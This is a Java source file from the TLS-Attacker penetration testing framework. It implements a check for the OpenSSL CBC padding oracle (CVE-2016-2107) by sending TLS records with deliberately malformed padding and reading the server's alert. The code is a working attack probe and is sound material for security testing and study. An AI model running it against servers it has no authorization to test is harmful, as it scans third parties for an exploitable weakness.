/** * TLS-Attacker - A Modular Penetration Testing Framework for TLS * * Copyright 2014-2016 Ruhr University Bochum / Hackmanit GmbH * * Licensed under Apache License 2.0 * http://www.apache.org/licenses/LICENSE-2.0 */ package de.rub.nds.tlsattacker.attacks.impl; import de.rub.nds.tlsattacker.attacks.config.Cve20162107CommandConfig; import de.rub.nds.tlsattacker.tls.Attacker; import de.rub.nds.tlsattacker.modifiablevariable.VariableModification; import de.rub.nds.tlsattacker.modifiablevariable.bytearray.ByteArrayModificationFactory; import de.rub.nds.tlsattacker.modifiablevariable.bytearray.ModifiableByteArray; import de.rub.nds.tlsattacker.tls.config.ConfigHandler; import de.rub.nds.tlsattacker.tls.constants.AlertDescription; import de.rub.nds.tlsattacker.tls.constants.AlertLevel; import de.rub.nds.tlsattacker.tls.constants.CipherSuite; import de.rub.nds.tlsattacker.tls.constants.ConnectionEnd; import de.rub.nds.tlsattacker.tls.constants.HandshakeMessageType; import de.rub.nds.tlsattacker.tls.constants.ProtocolMessageType; import de.rub.nds.tlsattacker.tls.constants.ProtocolVersion; import de.rub.nds.tlsattacker.tls.exceptions.WorkflowExecutionException; import de.rub.nds.tlsattacker.tls.protocol.ProtocolMessage; import de.rub.nds.tlsattacker.tls.protocol.alert.AlertMessage; import de.rub.nds.tlsattacker.tls.protocol.handshake.FinishedMessage; import de.rub.nds.tlsattacker.tls.record.Record; import de.rub.nds.tlsattacker.tls.util.LogLevel; import de.rub.nds.tlsattacker.tls.workflow.TlsContext; import de.rub.nds.tlsattacker.tls.workflow.WorkflowExecutor; import de.rub.nds.tlsattacker.tls.workflow.WorkflowTrace; import de.rub.nds.tlsattacker.transport.TransportHandler; import java.util.Collections; import java.util.LinkedList; import java.util.List; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; /** * Tests for the availability of the OpenSSL padding oracle (CVE-2016-2107). * * @author Juraj Somorovsky (juraj.somorovsky@rub.de) */ public class Cve20162107 extends Attacker<Cve20162107CommandConfig> { private static final Logger LOGGER = LogManager.getLogger(Cve20162107.class); private final List<ProtocolMessage> lastMessages; public Cve20162107(Cve20162107CommandConfig config) { super(config); lastMessages = new LinkedList<>(); } @Override public void executeAttack(ConfigHandler configHandler) { ProtocolVersion[] versions; if (config.getProtocolVersion() == null) { versions = new ProtocolVersion[]{ProtocolVersion.TLS10, ProtocolVersion.TLS11, ProtocolVersion.TLS12 }; } else { versions = new ProtocolVersion[]{config.getProtocolVersion()}; } List<CipherSuite> ciphers = new LinkedList<>(); if (config.getCipherSuites().isEmpty()) { for (CipherSuite cs : CipherSuite.getImplemented()) { if (cs.isCBC()) { ciphers.add(cs); } } } else { ciphers = config.getCipherSuites(); } for (ProtocolVersion pv : versions) { for (CipherSuite cs : ciphers) { config.setProtocolVersion(pv); config.setCipherSuites(Collections.singletonList(cs)); executeAttackRound(configHandler); } } if (vulnerable) { LOGGER.log(LogLevel.CONSOLE_OUTPUT, "VULNERABLE"); } else { LOGGER.log(LogLevel.CONSOLE_OUTPUT, "NOT VULNERABLE"); } LOGGER.debug("All the attack runs executed. The following messages arrived at the ends of the connections"); for (ProtocolMessage pm : lastMessages) { LOGGER.debug("----- NEXT TLS CONNECTION WITH MODIFIED APPLICATION DATA RECORD -----"); LOGGER.debug("Last protocol message in the protocol flow"); LOGGER.debug(pm.toString()); } } private void executeAttackRound(ConfigHandler configHandler) { LOGGER.info( "Testing {}, {}", config.getProtocolVersion(), config.getCipherSuites().get(0)); TransportHandler transportHandler = configHandler.initializeTransportHandler(config); TlsContext tlsContext = configHandler.initializeTlsContext(config); WorkflowExecutor workflowExecutor = configHandler.initializeWorkflowExecutor(transportHandler, tlsContext); WorkflowTrace trace = tlsContext.getWorkflowTrace(); FinishedMessage finishedMessage = (FinishedMessage) trace.getFirstHandshakeMessage(HandshakeMessageType.FINISHED); Record record = createRecordWithBadPadding(); finishedMessage.addRecord(record); // Remove last two server messages (CCS and Finished). Instead of them, // an alert will be sent. int size = trace.getProtocolMessages().size(); trace.remove(size - 1); trace.remove(size - 2); AlertMessage allertMessage = new AlertMessage(ConnectionEnd.SERVER); trace.getProtocolMessages().add(allertMessage); try { workflowExecutor.executeWorkflow(); } catch (WorkflowExecutionException ex) { LOGGER.info("Not possible to finalize the defined workflow: {}", ex.getLocalizedMessage()); } ProtocolMessage lm = trace.getLastProtocolMesssage(); lastMessages.add(lm); tlsContexts.add(tlsContext); if (lm.getProtocolMessageType() == ProtocolMessageType.ALERT) { AlertMessage am = ((AlertMessage) lm); LOGGER.info(" Last protocol message: Alert ({},{}) [{},{}]", AlertLevel.getAlertLevel(am.getLevel().getValue()), AlertDescription.getAlertDescription(am.getDescription().getValue()), am.getLevel().getValue(), am.getDescription().getValue()); } else { LOGGER.info(" Last protocol message: {}", lm.getProtocolMessageType()); } if (lm.getProtocolMessageType() == ProtocolMessageType.ALERT && ((AlertMessage) lm).getDescription().getValue() == 22) { LOGGER.info(" Vulnerable"); vulnerable = true; } else { LOGGER.info(" Not Vulnerable / Not supported"); } transportHandler.closeConnection(); } private Record createRecordWithBadPadding() { byte[] plain = new byte[]{(byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255, (byte) 255}; Record r = new Record(); ModifiableByteArray plainData = new ModifiableByteArray(); VariableModification<byte[]> modifier = ByteArrayModificationFactory.explicitValue(plain); plainData.setModification(modifier); r.setPlainRecordBytes(plainData); return r; } }